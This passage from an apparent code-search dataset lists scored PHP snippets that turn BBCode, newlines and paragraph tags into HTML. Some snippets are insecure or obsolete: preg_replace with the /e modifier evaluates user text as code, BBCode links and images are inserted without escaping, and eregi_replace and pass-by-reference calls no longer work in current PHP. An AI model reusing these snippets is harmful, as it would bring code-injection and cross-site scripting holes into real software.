'/\\[quote\\](.+?)\\[\\/quote\\]/s',\n\t\t\t4 => '/\\[quote\\=(.+?)](.+?)\\[\\/quote\\]/s',\n\t\t\t5 => '/\\[url\\](.+?)\\[\\/url\\]/s',\n\t\t\t6 => '/\\[url\\=(.+?)\\](.+?)\\[\\/url\\]/s',\n\t\t\t7 => '/\\[img\\](.+?)\\[\\/img\\]/s',\n\t\t\t8 => '/\\[col\\=(.+?)\\](.+?)\\[\\/col\\]/s',\n\t\t\t9 => '/\\[color\\=(.+?)\\](.+?)\\[\\/color\\]/s',\n\t\t\t10 => '/\\[colour\\=(.+?)\\](.+?)\\[\\/colour\\]/s',\n\t\t\t11 => '/\\[size\\=(.+?)\\](.+?)\\[\\/size\\]/s'\n\t\t);\n\n\t\t$bbcode_replace = array\n\t\t(\n\t\t\t0 => '<span style=\"font-weight:bold;\">$1</span>',\n\t\t\t1 => '<span style=\"font-style:italic;\">$1</span>',\n\t\t\t2 => '<span style=\"text-decoration:underline;\">$1</span>',\n\t\t\t3 => '<strong>Quote:</strong><div class=\"textQuote\">$1</div>',\n\t\t\t4 => '<strong>Quoting $1:</strong><div class=\"textQuote\">$2</div>',\n\t\t\t5 => '<a href=\"$1\" target=\"_BLANK\">$1</a>',\n\t\t\t6 => '<a href=\"$1\" target=\"_BLANK\">$2</a>',\n\t\t\t7 => '<img src=\"$1\" alt=\"User submitted image\" />',\n\t\t\t8 => '<span style=\"color:$1;\">$2</span>',\n\t\t\t9 => '<span style=\"color:$1;\">$2</span>',\n\t\t\t10 => '<span style=\"color:$1;\">$2</span>',\n\t\t\t11 => '<span style=\"font-size:$1;\">$2</span>'\n\t\t);\n\n\t\t$convert = preg_replace($bbcode_regex, $bbcode_replace, $convert);\t\t\n\t\t\n\t\tif (!$p) {\n\t\t\t// Headers\n\t\t\t$convert = preg_replace (\n\t\t\t\t\"/\\[h(.*?)](.*?)\\[\\/h(.*?)]/si\",\n\t\t\t\t'<h\\\\1>\\\\2</h\\\\1>',\n\t\t\t\t$convert\n\t\t\t);\n\t\t}\n\t\t\n\t\telse {\n\t\t\t// Headers\n\t\t\t$convert = preg_replace (\n\t\t\t\n\t\t\t\t\"/\\[h(.*?)](.*?)\\[\\/h(.*?)]/si\",\n\t\t\t\t$p_close.'<h\\\\1>\\\\2</h\\\\1>'.$p_open,\n\t\t\t\t$convert\n\t\t\t\t\n\t\t\t);\n\t\t}\n\n\t\t// Hyperlinks\n\t\t$convert = eregi_replace(\n\t\t\t\"\\[url]([^\\[]*)\\[/url]\",\n\t\t\t\"<a target=\\\"_BLANK\\\" href=\\\"\\\\1\\\">\\\\1</a>\", $convert);\n\t\t\n\t\t$convert = eregi_replace(\n\t\t\t\"\\[url=([^\\[]*)\\]([^\\[]*)\\[/url]\",\n\t\t\t\"<a target=\\\"_BLANK\\\" href=\\\"\\\\1\\\">\\\\2</a>\", $convert);\n\n\t\t// Images align=left\n\t\t$convert = eregi_replace(\n\t\t\t\"\\[img]([-_./a-zA-Z0-9!&%#?,'=:~]+)\\[/img]\",\n\t\t\t\"<img class=\\\"tc\\\" style=\\\"margin: 0px 5px;\\\" src=\\\"\\\\1\\\">\", $convert);\n\t\t\n\t\t// Images align=left\n\t\t$convert = eregi_replace(\n\t\t\t\"\\[img:([-_./a-zA-Z0-9!&%#?,'=:~]+)\\]([-_./a-zA-Z0-9!&%#?,'=:~]+)\\[/img]\",\n\t\t\t\"<img class=\\\"tc\\\" style=\\\"margin: 0px 5px;\\\" align=\\\"\\\\1\\\" src=\\\"\\\\2\\\">\", $convert);\n\t\t\n\n\t\t// Paragraphs and line breaks\n\t\t$convert = str_replace (\"\\r\", \"\", $convert);\n\t\t$convert = str_replace (\"\\n\\n\", $p_close.$p_open, $convert);\n\t\t$convert = str_replace (\"\\n\", $p_break, $convert);\n\t\t\n\t\tif ($p) {\n\t\t\t$convert = $p_open . $convert . $p_close;\n\t\t}\n\t\t\n\t\t// Remove \"empty p\"\n\t\t$convert = str_replace ($p_open.$p_break, $p_open, $convert);\n\t\t$convert = str_replace ($p_open.$p_close, '', $convert);\n\t\t\n\t\t// Let's go for the smileys\n\t\t$smileys = array \n\t\t(\n\t\t\t':)' \t=> 'smile',\n\t\t\t':-)'\t=> 'smile',\n\t\t\t\n\t\t\t':('\t=> 'sad',\n\t\t\t':-('\t=> 'sad',\n\t\t\t\n\t\t\t':D'\t=> 'grin',\n\t\t\t':-D'\t=> 'grin',\n\t\t\t\n\t\t\t':P' \t=> 'tease',\n\t\t\t':-P' => 'tease',\n\t\t\t':p' \t=> 'tease',\n\t\t\t':-p'\t=> 'tease',\n\t\t\t\n\t\t\t';)'\t=> 'wink',\n\t\t\t';-)'\t=> 'wink',\n\t\t\t\n\t\t\t':|'\t=> 'frown',\n\t\t\t':-|'\t=> 'frown',\n\t\t\t\n\t\t\t'[:/]'\t=> 'unsure',\n\t\t\t'[:-/]'\t=> 'unsure',\n\t\t\t\n\t\t\t':@'\t=> 'angry',\n\t\t\t':-@'\t=> 'angry'\n\t\t);\n\t\t\n\t\tforeach ($smileys as $k => $v)\n\t\t{\n\t\t\t$convert = str_replace ($k, '<img src=\"'.SMILEY_DIR . $v . '.png\" alt=\"'.$k.'\" class=\"smiley\" />', $convert);\n\t\t\t$convert = str_replace ('['.$k.']', '<img src=\"'.SMILEY_DIR . $v . '.png\" alt=\"'.$k.'\" class=\"smiley\" />', $convert);\n\t\t}\n\t\t\n\t\treturn $convert;\n\t\n\t}", "title": "" }, { "docid": "54a5207a01a4fd05ad16a1c371b82af3", "score": "0.5287503", "text": "function __replaceWithNewlines() {\n\t\t$args = func_get_args();\n\t\t$numLineBreaks = count(explode(\"\\n\", $args[0][0]));\n\t\treturn str_pad('', $numLineBreaks - 1, \"\\n\");\n\t}", "title": "" }, { "docid": "17eb084a351436080db0d85c3fcad11f", "score": "0.5273928", "text": "function convert2html($str) {\r\n\tif (!$str) return '';\r\n\t\r\n\t$str = preg_replace('/(\\r?\\n){2}/', '</p><p>', $str);\r\n\t$str = preg_replace('/\\r?\\n/', '<br/>', $str);\t\r\n\t$str = str_replace(' ', ' &nbsp;', $str);\r\n\t$str = str_replace('\"', '\\\"', $str);\r\n//\t$str = str_replace(\"'\", \"\\'\", $str);\r\n\t$str = '<p>'.$str.'</p>';\r\n\t\r\n\treturn $str;\r\n}", "title": "" }, { "docid": "ed8d0e422c293688206c0a6761eb454e", "score": "0.5261539", "text": "private function render_html(){\n\t\t$this->render = '';\n\t\t$is_first_p = true;\n\t\tfor($i=0; $i<$this->number_of_paragraphs; $i++){\n\t\t\t$paragraph = $this->get_paragraph();\n\t\t\t$rendered_p = '';\n\t\t\t\n\t\t\tif($is_first_p){\n\t\t\t\t$this->force_beginning(&$paragraph);\n\t\t\t} else {\n\t\t\t\t$rendered_p .= \"\\n\";\n\t\t\t}\n\t\t\t\n\t\t\t$rendered_p .= HtmlHelper::open_tag('p'); //'<p>';\n\t\t\tforeach($paragraph as $sentence){\n\t\t\t\t$rendered_p .= implode(' ', $sentence);\n\t\t\t}\n\t\t\t$rendered_p .= HtmlHelper::close_tag('p'); //\"</p>\";\n\t\t\t\n\t\t\t$this->render .= $rendered_p;\n\t\t\t$is_first_p = false;\n\t\t}\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "cccf98ae5e5e1fa8b08aabd50f4e389c", "score": "0.52481776", "text": "function br2nl($string){\n\treturn preg_replace('/\\<br(\\s*)?\\/?\\>/i', \"\\n\", $string);\n}", "title": "" }, { "docid": "a1ac9b52604ca1ec9610ca1584363375", "score": "0.52398664", "text": "function strip_paragraph( $content ) {\n $content = str_ireplace( '<p>','',$content );\n $content = str_ireplace( '</p>','',$content );\n return $content;\n }", "title": "" }, { "docid": "8251a22185ef8a4d8e8ae1d6d29335e0", "score": "0.52206486", "text": "private function reformat_html($html) {\n\t\t$html = preg_replace(array(\n\t\t\t'/<h\\d[^<>\\/]*>/i',\n\t\t\t'/<strong[^<>\\/]*>/i',\n\t\t\t'/<li[^<>\\/]*>/i',\n\t\t\t'/<ul[^<>\\/]*>/i',\n\t\t\t'/<p[^<>\\/]*>/i',\n\t\t\t'/<br[^<>]*>/i',\n\t\t\t'/<\\/div>/i',\n\t\t\t'/<\\/\\s*h\\d*\\s*>/i',\n\t\t\t'/<\\/\\s*li[^<>]*>/i',\n\t\t\t'/<\\/\\s*ul[^<>]*>/i',\n\t\t\t'/<\\/\\s*p\\s*>/i',\n\t\t\t'/<tr[^<>]*>/i',\n\t\t\t'/<\\/strong[^<>\\/]*>/i'\n\t\t), array (\n\t\t\t'BHAHAHA',\n\t\t\t'BHAHAHA',\n\t\t\t'BLILILI',\n\t\t\t'BULULUL',\n\t\t\t'BPEPEPE',\n\t\t\t'BRBRBR',\n\t\t\t'BRBRBR',\n\t\t\t'EHAHAHA',\n\t\t\t'ELILILI',\n\t\t\t'EULULUL',\n\t\t\t'EPEPEPE',\n\t\t\t'BRBRBR',\n\t\t\t'EBEBEBE'\n\t\t), $html);\n\n\t\t$html = preg_replace('/<[^<>]*>/', ' ', $html);\n\t\t$html = preg_replace('/&nbsp;/i', ' ', $html);\n\t\t$html = preg_replace('/Add to Cart/i', ' ', $html);\n\t\t$html = preg_replace('/\\s+/', ' ', $html);\n\t\t$html = preg_replace('/BRBRBR\\s*BRBRBR/', 'BRBRBR', $html);\n\t\t$html = preg_replace('/BRBRBR\\s*BRBRBR/', 'BRBRBR', $html);\n\t\t$html = preg_replace('/BRBRBR\\s*BRBRBR/', 'BRBRBR', $html);\n\t\t$html = preg_replace('/BRBRBR\\s*BRBRBR/', 'BRBRBR', $html);\n\n\t\t$html = preg_replace(array(\n\t\t\t'/BRBRBR/',\n\t\t\t'/BHAHAHA/',\n\t\t\t'/BLILILI/',\n\t\t\t'/BULULUL/',\n\t\t\t'/BPEPEPE/',\n\t\t\t'/EHAHAHA/',\n\t\t\t'/EBEBEBE/',\n\t\t\t'/ELILILI/',\n\t\t\t'/EULULUL/',\n\t\t\t'/EPEPEPE/',\n\t\t\t'/^\\s*|\\s*$/s',\n\t\t\t'/&amp;/',\n\t\t\t'/&quot;/',\n\t\t\t'/^\\s*<br \\/>/s',\n\t\t\t'/<br \\/>\\s*$/s'\n\t\t), array (\n\t\t\t\"<br />\\n\",\n\t\t\t'<b>',\n\t\t\t'<li>',\n\t\t\t'<ul>',\n\t\t\t\"<br />\\n\",\n\t\t\t'</b><br />',\n\t\t\t'</b>',\n\t\t\t'</li>',\n\t\t\t'</ul>',\n\t\t\t'',\n\t\t\t'',\n\t\t\t'&',\n\t\t\t\"'\",\n\t\t\t'',\n\t\t\t''\n\t\t), $html);\n\n\t\tif (\n\t\t\tpreg_match('/<ul>/', $html) &&\n\t\t\t!preg_match('/<\\/ul>/', $html)\n\t\t) $html .= \"</ul>\";\n\n\t\treturn ($html);\n\n\t}", "title": "" }, { "docid": "5eda3927b3a6d7f3dbba964cc86f38bb", "score": "0.5197893", "text": "function br2nl($str)\n {\n return preg_replace('/\\<br\\s*\\/?\\>/i', \"\\r\\n\", $str);\n }", "title": "" }, { "docid": "68035da688f633139b9779c692e1572d", "score": "0.5191714", "text": "protected function br2nl($content) {\n\t\t$array = array(\n\t\t\t'<br >',\n\t\t\t'<br>',\n\t\t\t'<br/>',\n\t\t\t'<br />'\n\t\t);\n\t\t// replacer\n\t\t$content = str_replace($array, \"\\n\", $content);\n\n\t\treturn $content;\n\t}", "title": "" }, { "docid": "d64ff6dbb9d38e1e75b5bb11469155b9", "score": "0.51910865", "text": "function breaks($content) {\n $text = explode('</p>', $content);\n\n return $text[0];\n }", "title": "" }, { "docid": "a85a1b0b2016245b6e4e8a618159d136", "score": "0.5188456", "text": "static function formatText($text){\n return str_replace(\"\\n\",'<br>',htmlspecialchars($text));\n }", "title": "" }, { "docid": "f25ab7798f91b789ae12510580411214", "score": "0.51822376", "text": "private static function removeParagraphs($string)\n\t{\n\t\t$string = RL_RegEx::replace('^(\\s*</?p[^>]*>)+', '', $string);\n\t\t// Remove trailing paragraph tags\n\t\t$string = RL_RegEx::replace('(</?p[^>]*>\\s*)+$', '', $string);\n\t\t// Replace paragraph tags with double breaks\n\t\t$string = RL_RegEx::replace('(</p>\\s*<p[^>]*>|</?p[^>]*>)', '<br><br>', $string);\n\n\t\treturn $string;\n\t}", "title": "" }, { "docid": "1fd16f9247eb624aaeb037277e7f8898", "score": "0.5181576", "text": "function presscore_wrap_edit_link_in_p( $link = '' ) {\n\t\tif ( $link ) {\n\t\t\t$link = '<p>' . $link . '</p>';\n\t\t}\n\t\treturn $link;\n\t}", "title": "" }, { "docid": "d25e692f71a368e5d6913633f6dbea86", "score": "0.51778036", "text": "function bb2html($text)\n{\n $bbcode = array(\n \"[list]\", \"[*]\", \"[/list]\", \n \"[img]\", \"[/img]\", \n \"[b]\", \"[/b]\", \n \"[u]\", \"[/u]\", \n \"[i]\", \"[/i]\",\n '[color=\"', \"[/color]\",\n \"[size=\\\"\", \"[/size]\",\n '[url=\"', \"[/url]\",\n \"[mail=\\\"\", \"[/mail]\",\n \"[code]\", \"[/code]\",\n \"[quote]\", \"[/quote]\",\n '\"]');\n $htmlcode = array(\n \"<ul>\", \"<li>\", \"</ul>\", \n \"<img src=\\\"\", \"\\\">\", \n \"<b>\", \"</b>\", \n \"<u>\", \"</u>\", \n \"<i>\", \"</i>\",\n \"<span style=\\\"color:\", \"</span>\",\n \"<span style=\\\"font-size:\", \"</span>\",\n '<a target=\"_blank\" href=\"', \"</a>\",\n \"<a href=\\\"mailto:\", \"</a>\",\n \"<code>\", \"</code>\",\n \"<blockquote><i>\", \"</i></blockquote>\",\n '\">');\n $newtext = str_replace($bbcode, $htmlcode, $text);\n //$newtext = nl2br($newtext);//second pass\n return $newtext;\n}", "title": "" }, { "docid": "6959650f4fc1d69661548ea3cf5d8c5b", "score": "0.51775694", "text": "private function nl2br($text) {\r\n return nl2br($text); // Not needed, but here to keep logic in Filter method intact.\r\n }", "title": "" }, { "docid": "ef200110fe80dd73589fe87b15c5ee12", "score": "0.51700854", "text": "function br2nl( $text )\n{\n $nl = '\\n' ; # new line character\n $text = str_replace( '<br />', $nl, $text ) ; # XHTML <br />\n $text = str_replace( '<br>', $nl, $text ) ; # HTML <br>\n $text = str_replace( '<br/>', $nl, $text ) ; # bad break!\n return $text ;\n /* reference (unsused)\n $cr = chr(13); // 0x0D [\\r] (carriage return)\n $lf = chr(10); // 0x0A [\\n] (line feed)\n $crlf = $cr . $lf; // [\\r\\n] carriage return/line feed)\n */\n}", "title": "" }, { "docid": "5c809c2d5e83ca0a2ff3c3d528a715ce", "score": "0.51670706", "text": "function visitTextParagraph(T_Text_Paragraph $node)\n {\n // inside a paragraph, all newlines should be converted to <br /> tags.\n $this->f_swap_space = $this->filter;\n $this->filter = new T_Filter_EolToBr($this->filter);\n\n // render content\n $this->xhtml .= EOL.'<p>'.$node->getContent($this->filter);\n $this->registerForPostMethod($node);\n }", "title": "" }, { "docid": "da048ef5f5965829dfd3a6edd3ccdae2", "score": "0.5159763", "text": "function cpo_do_shortcode( $content ) {\n\t$content = do_shortcode( shortcode_unautop( $content ) );\n\t$content = preg_replace( '#^<\\/p>|^<br\\s?\\/?>|<p>$|<p>\\s*(&nbsp;)?\\s*<\\/p>#', '', $content );\n\n\treturn $content;\n}", "title": "" }, { "docid": "38d33307e539ead4d7b6dac3cb826128", "score": "0.5154381", "text": "private function nl2par($text)\n {\n if ($replaced = str_replace(\"\\n\", '\\\\par ', $text)) {\n return $replaced;\n } else {\n return $text;\n }\n }", "title": "" }, { "docid": "e1230065f096e07e1642cabb9372e9f0", "score": "0.5151019", "text": "function break_to_html($str, $break_type = 'br'){\n\n\tif ($break_type != \"br\"){\n\t\t$before = \"<{$break_type}>\";\n\t\t$after = \"</{$break_type}\"; \n\t}\n\telse {\n\t\t$before = null;\n\t\t$after = \"<{$break_type}/>\";\n\t}\n\n\t// TODO: Refine replace to allow placing elements before and after\n\t$converted = preg_replace('/[\\n|\\r]/', \"{$after}\", $str);\n\n\treturn $converted;\n}", "title": "" }, { "docid": "3b44c285d52ff9a318acfa8988ae0e24", "score": "0.5147751", "text": "function businesshub_remove_wpautop( $content, $autop = false ) {\r\n\r\n\tif ( $autop ) {\r\n\t\t$content = wpautop( preg_replace( '/<\\/?p\\>/', \"\\n\", $content ) . \"\\n\" );\r\n\t}\r\n\r\n\treturn do_shortcode( shortcode_unautop( $content ) );\r\n}", "title": "" }, { "docid": "9723d7668eeda6c03d84e7ceb8b28027", "score": "0.5128099", "text": "function printbr ($text = '', $descr = '') \r\n{\r\n\tprintNicely($descr . ' ' . $text);\r\n}", "title": "" }, { "docid": "9954ec0e954858994253f9381de85798", "score": "0.5112957", "text": "public function safe_format($data)\n {\n return $data = nl2br($data);\n }", "title": "" }, { "docid": "04183e086e5914334667909c1238d7c1", "score": "0.51097685", "text": "public function enableRemoveLineBreaksFromTemplate() {}", "title": "" }, { "docid": "7be1185cb866b8746b8855cc55206907", "score": "0.5093227", "text": "public function nl2br()\n {\n return $this->_set(\n \\nl2br($this->value())\n );\n }", "title": "" }, { "docid": "1b30aeaf150a6b9a71a8f107b1ac4937", "score": "0.509025", "text": "function ChopText($text, $size = 50) {\n $new_text = '';\n $text_1 = explode('>',$text);\n $sizeof = sizeof($text_1);\n for ($i=0; $i<$sizeof; ++$i) {\n $text_2 = explode('<',$text_1[$i]);\n if (!empty($text_2[0])) {\n $new_text .= eregi_replace('#([^\\n\\r ]{'. $size .'})#i', '\\\\1 <br>', $text_2[0]);\n }\n if (!empty($text_2[1])) {\n $new_text .= '<' . $text_2[1] . '>'; \n }\n }\n return $new_text;\n}", "title": "" }, { "docid": "e9d0b8a1e34d554ebcf973f1b7f6ad7c", "score": "0.50865173", "text": "public static function br2nl($text){\r\n\t\t\treturn preg_replace('/<br(\\s+)?\\/?>/i', \"\\n\", $text);\r\n\t\t}", "title": "" }, { "docid": "27f3bc29a9e4fafc3b1c0fc47f086193", "score": "0.50831693", "text": "function txt2html($str) {\n return nl2br(trim($str), false);\n //return str_ireplace(array(\"\\n\", \"\\r\", \"\\r\\n\"), \"<br>\", trim($str));\n}", "title": "" }, { "docid": "68de3b066d9f235e0e8ace3a0326e042", "score": "0.5078229", "text": "public function getRemoveLineBreaksFromTemplate() {}", "title": "" }, { "docid": "a4fdafe8d03eb7308a03095f8d313ed7", "score": "0.5058904", "text": "function _autop_newline_preservation_helper( $matches ) {\n return str_replace(\"\\n\", \"<WPPreserveNewline />\", $matches[0]);\n}", "title": "" }, { "docid": "94b0d796bc2e7ce427711215e92bcc31", "score": "0.50573486", "text": "public function disableRemoveLineBreaksFromTemplate() {}", "title": "" }, { "docid": "7af23fb28d26e560f7e062e23af6f0ff", "score": "0.50546163", "text": "function adventure_tours_fix_broken_p( $content ) {\n\t\t// $is_vc_frontend = isset( $_GET['vc_editable'] ) && isset ( $_GET['vc_post_id'] );\n\n\t\t// To prevent processing content that contains revslider related elements,\n\t\t// as force_balance_tags brokes revslider javascript code.\n\t\tif ( strpos( $content, '<script' ) !== false || strpos( $content, 'class=\"rev_slider' ) !== false ) {\n\t\t\treturn $content;\n\t\t}\n\n\t\t// Removes broken <p> tags added by wpuatop filter in case if sorce code editor has been used for content edition.\n\t\t$result = preg_replace(\n\t\t\tarray(\n\t\t\t\t'`<p>\\s*<div([^>]*)>(?:\\s*</p>)?|<div([^>]*)>\\s*</p>`', // <p><div></p>\n\t\t\t\t'`(<p>\\s*)?</div>\\s*</p>|<p>\\s*</div>`', // <p></div></p>\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'<div$1$2>',\n\t\t\t\t'</div>',\n\t\t\t),\n\t\t\t$content\n\t\t);\n\t\t// Fixes unclosed/unopened P tags\n\t\treturn force_balance_tags( $result );\n\t}", "title": "" }, { "docid": "9311ef9080ad3a06c6388b95350c4664", "score": "0.5050829", "text": "function _autop_newline_preservation_helper( $matches ) {\n\t\t\treturn str_replace(\"\\n\", \"<WPPreserveNewline />\", $matches[0]);\n\t\t}", "title": "" }, { "docid": "ae162cbfcc788d2153ce0c7ec35da2af", "score": "0.5043691", "text": "function stop_article_paragraph()\n{\n\techo \"</p>\";\n\techo \"</div>\";\n}", "title": "" }, { "docid": "777e7bdf20542326829c3c729956886a", "score": "0.5041985", "text": "function br2sp ($string) {\n $tmp = str_replace(\"<br>\", \" \", $string);\n return str_replace(\"<br />\", \" \", $tmp);\n}", "title": "" }, { "docid": "320407bb8c7429d530f9e97a064af083", "score": "0.50221115", "text": "function lineBreaksDecode($string) {\r\n $tags = array(\"<br>\", \"<p>\", \"</p>\", \"<strong>\", \"</strong>\", \"<em>\", \"</em>\");\r\n $replacement = array(\"LINE_BREAK\", \"P_START\", \"P_END\", \"B_START\", \"B_END\", \"I_START\", \"I_END\");\r\n $newstring = $string;\r\n \r\n for($i=0; $i<7; $i++){\r\n if (strpos($string, $replacement[$i]) !== false) {\r\n $newstring = str_replace($replacement[$i], $tags[$i], $newstring);\r\n }\r\n }\r\n return $newstring;\r\n}", "title": "" }, { "docid": "a1cd6f579017e3152845abd66d92afe0", "score": "0.5006563", "text": "private function render_plain(){\n\t\t$this->render = '';\n\t\t$is_first_p = true;\n\t\tfor($i=0; $i<$this->number_of_paragraphs; $i++){\n\t\t\t$paragraph = $this->get_paragraph();\n\t\t\t$rendered_p = '';\n\t\t\t\n\t\t\tif($is_first_p){\n\t\t\t\t$this->force_beginning(&$paragraph);\n\t\t\t} else {\n\t\t\t\t$rendered_p .= \"\\n\";\n\t\t\t}\n\t\t\t\n\t\t\tforeach($paragraph as $sentence){\n\t\t\t\t$rendered_p .= implode(' ', $sentence).' ';\n\t\t\t}\n\t\t\t$this->render .= $rendered_p;\n\t\t\t$is_first_p = false;\n\t\t}\n\t\treturn $this;\r\n\t}", "title": "" }, { "docid": "6504b10d5e8507df8960f70be54a099e", "score": "0.49901932", "text": "function pdfCleaner( $text ) {\r\n\r\n\t$text = str_replace( '<p>', \t\t\t\"\\n\\n\", \t$text );\r\n\t$text = str_replace( '<P>', \t\t\t\"\\n\\n\", \t$text );\r\n\t$text = str_replace( '<br />', \t\t\t\"\\n\", \t\t$text );\r\n\t$text = str_replace( '<br>', \t\t\t\"\\n\", \t\t$text );\r\n\t$text = str_replace( '<BR />', \t\t\t\"\\n\", \t\t$text );\r\n\t$text = str_replace( '<BR>', \t\t\t\"\\n\", \t\t$text );\r\n\t$text = str_replace( '<li>', \t\t\t\"\\n - \", \t$text );\r\n\t$text = str_replace( '<LI>', \t\t\t\"\\n - \", \t$text );\r\n\t$text = str_replace( '{mosimage}', \t\t'', \t\t$text );\r\n\t$text = str_replace( '{mospagebreak}', \t'',\t\t\t$text );\r\n\t$text = str_replace( '<table>','',$text );\r\n\t$text = str_replace( '<TABLE>','',$text );\r\n\t$text = str_replace( '</table>','',$text );\r\n\t$text = str_replace( '</TABLE>','',$text );\r\n\t$text = str_replace( '<tr>','',$text );\r\n\t$text = str_replace( '</tr>','',$text );\r\n\t$text = str_replace( '<TR>','',$text );\r\n\t$text = str_replace( '</TR>','',$text );\r\n\t$text = str_replace( '&nbsp;','',$text );\r\n\r\n\r\n\r\n\t$text = strip_tags( $text );\r\n\t$text = decodeHTML( $text );\r\n\r\n\treturn $text;\r\n}", "title": "" }, { "docid": "ac174c1c1a05b116f2cde12f481e350f", "score": "0.49892858", "text": "public function convertBBCodetoHTML($p_text)\n\t\t{\n //$p_text = preg_replace('`\\[EMAIL\\]([^\\[]*)\\[/EMAIL\\]`i','<a href=\"mailto:\\\\1\">\\\\1</a>',$p_text);\n //$p_text = preg_replace('`\\[EMAIL\\](.*?)\\[/EMAIL\\]`i','<a href=\"mailto:\\\\1\">\\\\1</a>',$p_text);\n // Information : Double [/email][/email] to avoid end of email area\n $p_text = preg_replace('`\\[email\\](.*?(\\[/email\\]\\[/email\\].*?)*)\\[/email\\](?!(\\[/email\\]))`ie','\"<a href=\\\"mailto:\".str_replace(\"[/email][/email]\",\"[/email]\",\"\\\\1\").\"\\\">\".str_replace(\"[/email][/email]\",\"[/email]\",\"\\\\1\").\"</a>\"',$p_text);\n\n //$p_text = preg_replace('`\\[b\\]([^\\[]*)\\[/b\\]`i','<b>\\\\1</b>',$p_text); // Generation 1 : First [ or ] encounter stop translation\n //$p_text = preg_replace('`\\[b\\](.*?)\\[/b\\]`i','<b>\\\\1</b>',$p_text); // Generation 2 : Can't bold string [/b]\n // Generation 3 : Information : Double [/b][/b] to avoid end of bold area\n $p_text = preg_replace('`\\[b\\](.*?(\\[/b\\]\\[/b\\].*?)*)\\[/b\\](?!(\\[/b\\]))`ie','\"<b>\".str_replace(\"[/b][/b]\",\"[/b]\",\"\\\\1\").\"</b>\"',$p_text);\n\n //$p_text = preg_replace('`\\[i\\]([^\\[]*)\\[/i\\]`i','<i>\\\\1</i>',$p_text);\n //$p_text = preg_replace('`\\[i\\](.*?)\\[/i\\]`i','<i>\\\\1</i>',$p_text);\n // Information : Double [/i][/i] to avoid end of italic area\n $p_text = preg_replace('`\\[i\\](.*?(\\[/i\\]\\[/i\\].*?)*)\\[/i\\](?!(\\[/i\\]))`ie','\"<i>\".str_replace(\"[/i][/i]\",\"[/i]\",\"\\\\1\").\"</i>\"',$p_text);\n\n //$p_text = preg_replace('`\\[u\\]([^\\[]*)\\[/u\\]`i','<u>\\\\1</u>',$p_text);\n //$p_text = preg_replace('`\\[u\\](.*?)\\[/u\\]`i','<u>\\\\1</u>',$p_text);\n // Information : Double [/u][/u] to avoid end of underline area\n $p_text = preg_replace('`\\[u\\](.*?(\\[/u\\]\\[/u\\].*?)*)\\[/u\\](?!(\\[/u\\]))`ie','\"<u>\".str_replace(\"[/u][/u]\",\"[/u]\",\"\\\\1\").\"</u>\"',$p_text);\n\n //$p_text = preg_replace('`\\[s\\]([^\\[]*)\\[/s\\]`i','<s>\\\\1</s>',$p_text);\n //$p_text = preg_replace('`\\[s\\](.*?)\\[/s\\]`i','<s>\\\\1</s>',$p_text);\n // Information : Double [/s][/s] to avoid end of stroke line area\n $p_text = preg_replace('`\\[s\\](.*?(\\[/s\\]\\[/s\\].*?)*)\\[/s\\](?!(\\[/s\\]))`ie','\"<s>\".str_replace(\"[/s][/s]\",\"[/s]\",\"\\\\1\").\"</s>\"',$p_text);\n\n //$p_text = preg_replace('`\\[center\\]([^\\[]*)\\[/center\\]`','<p style=\"text-align: center;\">\\\\1</p>',$p_text);\n //$p_text = preg_replace('`\\[center\\](.*?)\\[/center\\]`','<p style=\"text-align: center;\">\\\\1</p>',$p_text);\n // Information : Double [/center][/center] to avoid end of center line area\n $p_text = preg_replace('`\\[center\\](.*?(\\[/center\\]\\[/center\\].*?)*)\\[/center\\](?!(\\[/center\\]))`ie','\"<p style=\\\"text-align: center;\\\">\".str_replace(\"[/center][/center]\",\"[/center]\",\"\\\\1\").\"</p>\"',$p_text);\n\n //$p_text = preg_replace('`\\[left\\]([^\\[]*)\\[/left\\]`i','<p style=\"text-align: left;\">\\\\1</p>',$p_text);\n //$p_text = preg_replace('`\\[left\\](.*?)\\[/left\\]`i','<p style=\"text-align: left;\">\\\\1</p>',$p_text);\n // Information : Double [/left][/left] to avoid end of left line area\n $p_text = preg_replace('`\\[left\\](.*?(\\[/left\\]\\[/left\\].*?)*)\\[/left\\](?!(\\[/left\\]))`ie','\"<p style=\\\"text-align: left;\\\">\".str_replace(\"[/left][/left]\",\"[/left]\",\"\\\\1\").\"</p>\"',$p_text);\n\n //$p_text = preg_replace('`\\[right\\]([^\\[]*)\\[/right\\]`i','<p style=\"text-align: right;\">\\\\1</p>',$p_text);\n //$p_text = preg_replace('`\\[right\\](.*?)\\[/right\\]`i','<p style=\"text-align: right;\">\\\\1</p>',$p_text);\n // Information : Double [/right][/right] to avoid end of right line area\n $p_text = preg_replace('`\\[right\\](.*?(\\[/right\\]\\[/right\\].*?)*)\\[/right\\](?!(\\[/right\\]))`ie','\"<p style=\\\"text-align: right;\\\">\".str_replace(\"[/right][/right]\",\"[/right]\",\"\\\\1\").\"</p>\"',$p_text);\n\n //$p_text = preg_replace('`\\[img\\]([^\\[]*)\\[/img\\]`i','<img src=\"\\\\1\" />',$p_text);\n //$p_text = preg_replace('`\\[img\\](.*?)\\[/img\\]`i','<img src=\"\\\\1\" />',$p_text);\n // Information : Double [/img][/img] to avoid end of picture area\n $p_text = preg_replace('`\\[img\\](.*?(\\[/img\\]\\[/img\\].*?)*)\\[/img\\](?!(\\[/img\\]))`ie','\"<img src=\\\"\".str_replace(\"[/img][/img]\",\"[/img]\",\"\\\\1\").\"\\\" />\"',$p_text);\n\n //$p_text = preg_replace('`\\[color=([^[]*)\\]([^[]*)\\[/color\\]`i','<font color=\"\\\\1\">\\\\2</font>',$p_text);\n //$p_text = preg_replace('`\\[color=(.*?)\\](.*?)\\[/color\\]`i','<font color=\"\\\\1\">\\\\2</font>',$p_text);\n // Information : Double [/color][/color] to avoid end of color area\n $p_text = preg_replace('`\\[color=(.*?)\\](.*?(\\[/color\\]\\[/color\\].*?)*)\\[/color\\](?!(\\[/color\\]))`ie','\"<font color=\\\"\\\\1\\\">\".str_replace(\"[/color][/color]\",\"[/color]\",\"\\\\2\").\"</font>\"',$p_text);\n\n //$p_text = preg_replace('`\\[bg=([^[]*)\\]([^[]*)\\[/bg\\]`i','<font style=\"background-color: \\\\1;\">\\\\2</font>',$p_text);\n //$p_text = preg_replace('`\\[bg=(.*?)\\](.*?)\\[/bg\\]`i','<font style=\"background-color: \\\\1;\">\\\\2</font>',$p_text);\n // Information : Double [/bg][/bg] to avoid end of background color area\n $p_text = 